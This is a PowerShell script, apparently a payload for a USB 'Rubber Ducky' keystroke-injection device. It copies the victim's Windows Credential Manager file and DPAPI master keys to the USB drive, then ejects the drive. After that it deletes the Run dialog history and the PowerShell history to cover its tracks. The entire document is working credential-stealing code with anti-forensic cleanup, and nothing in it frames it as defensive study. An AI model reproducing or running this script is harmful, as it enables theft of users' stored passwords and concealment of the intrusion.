1. # Variables
2. $drive = (Get-Volume -FileSystemLabel 'DUCKY').DriveLetter
3. $userProfile = $Env:UserProfile
4.  
5. # Get the credential files
6. $credentialFiles = @(Get-ChildItem -Force "${userProfile}\AppData\Local\Microsoft\Credentials\")
7.  
8. # Get the first credential file for now
9. $credentialFileName = $credentialFiles[0].Name
10. $credentialFilePath = $credentialFiles[0].FullName
11.  
12. # Copy to ducky
13. Copy-Item $credentialFilePath "${drive}:\credential1"
14.  
15. # Get the gUIDMasterKey
16. $protectFolder = (Get-ChildItem -Directory -Force "${userProfile}\AppData\Roaming\Microsoft\Protect\").FullName
17.  
18. # Copy master key to ducky
19. $index=1
20. Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object {
21.     # $fileName = $_.Name
22.     $filePath = $_.FullName
23.     Copy-Item $filePath "${drive}:\key${index}"
24. }
25.  
26. # Eject
27. $driveEject = New-Object -ComObject Shell.Application
28. $driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject")
29.  
30. # Cleanup traces
31.  
32. # Delete run box history
33. reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
34.  
35. # Delete Powershell history
36. Remove-Item (Get-PSreadlineOption).HistorySavePath
37.  
38. exit